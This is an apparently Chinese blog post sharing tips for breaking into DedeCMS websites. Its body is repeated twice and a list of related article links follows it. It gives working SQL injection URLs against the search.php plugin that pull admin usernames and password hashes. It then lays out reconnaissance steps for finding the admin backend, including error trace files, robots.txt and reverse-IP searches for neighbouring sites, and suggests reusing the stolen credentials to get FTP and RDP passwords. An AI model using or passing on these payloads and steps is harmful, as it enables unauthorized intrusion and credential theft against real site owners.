搞dedecms站 找后台的一些经验
2013-05-03 15:08
190 查看
首先:
注入exp
有时候 有些 /plus/目录换成了 /plugins目录
/plugins/search.php?keyword=as&typeArr[111%3D@`\'`)+UnIon+seleCt+1,2,3,4,5,6,7,8,9,10,userid,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,pwd,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+`%23@__admin`%23@`\'`+]=a
/plus/search.php?keyword=as&typeArr[111%3D@`\'`)+UnIon+seleCt+1,2,3,4,5,6,7,8,9,10,userid,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,pwd,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+`%23@__admin`%23@`\'`+]=a
/plus/search.php?keyword=as&typeArr[111%3D@`\'`)+and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(substring((select+CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`+limit+0,1),1,62)))a+from+information_schema.tables+group+by+a)b)%23@`\'`+]=a
/plus/search.php?keyword=as&typeArr[ uNion ]=a
/robots.txt
/data/admin/ver.txt
/data/mysql_error_trace.inc
第一 个看这里 /data/mysql_error_trace.inc 爆出来补
第二 个 域名作为后台 或者域名变形一下
第三 个 先ping域名 获得ip地址 之后
http://www.bing.com/ 搜索 ip:127.0.0.1 php 有可能获得后台 也可以获得其他旁注站 一般dedecms的旁站很多也是dedecms 的
第四 个 查看 robots.txt
http://www.dedecms.com/robots.txt 查看旁注站dedecms的站 再去社工目标站的后台地址也可以
第五 个 注入exp得到账号 去社工 ftp 和 3389密码
至少今天我都有成功过
欢迎机友一起分享经验 欢迎 总结 补充
注入exp
有时候 有些 /plus/目录换成了 /plugins目录
/plugins/search.php?keyword=as&typeArr[111%3D@`\'`)+UnIon+seleCt+1,2,3,4,5,6,7,8,9,10,userid,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,pwd,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+`%23@__admin`%23@`\'`+]=a
/plus/search.php?keyword=as&typeArr[111%3D@`\'`)+UnIon+seleCt+1,2,3,4,5,6,7,8,9,10,userid,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,pwd,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+`%23@__admin`%23@`\'`+]=a
/plus/search.php?keyword=as&typeArr[111%3D@`\'`)+and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(substring((select+CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`+limit+0,1),1,62)))a+from+information_schema.tables+group+by+a)b)%23@`\'`+]=a
/plus/search.php?keyword=as&typeArr[ uNion ]=a
/robots.txt
/data/admin/ver.txt
/data/mysql_error_trace.inc
第一 个看这里 /data/mysql_error_trace.inc 爆出来补
第二 个 域名作为后台 或者域名变形一下
第三 个 先ping域名 获得ip地址 之后
http://www.bing.com/ 搜索 ip:127.0.0.1 php 有可能获得后台 也可以获得其他旁注站 一般dedecms的旁站很多也是dedecms 的
第四 个 查看 robots.txt
http://www.dedecms.com/robots.txt 查看旁注站dedecms的站 再去社工目标站的后台地址也可以
第五 个 注入exp得到账号 去社工 ftp 和 3389密码
至少今天我都有成功过
欢迎机友一起分享经验 欢迎 总结 补充
相关文章推荐
- 搞dedecms站 找后台的一些经验[转]
- dedecms站 找后台的一些经验
- 搞dedecms站 找后台的一些经验
- DEDECMS 5.1升级到5.5的一些经验分享
- 收集的DedeCMS一些使用经验
- 收集的DedeCMS一些使用经验
- 今天写后台的一些小经验
- 对DEDECMS搬家的一些经验小结(含s…
- 收集的DedeCMS一些使用经验
- 游戏后台设计考虑点(来自工作实践中的一些经验)
- DWR传递对象的一些经验
- Android控件EditText的属性InputType的一些经验及动态设置TYPE_NUMBER_FLAG_DECIMAL无效的原因
- 整合项目遇到的一些问题 记录一下 前后台传值 和 编码问题
- 关于自适应屏幕方向和大小的一些经验
- 关于java执行命令的一些(调本地的命令 调远程主机的命令 在后台执行命令)
- DEDECMS系统后台会员功能漏洞解决方法
- 文字输入方面的一些经验
- 记录开发Nodejs c++ addon的一些经验(一、技术栈)
- 这几天总结的一些C++编程经验--关于静态库
- 小米前端实习面试题和一些经验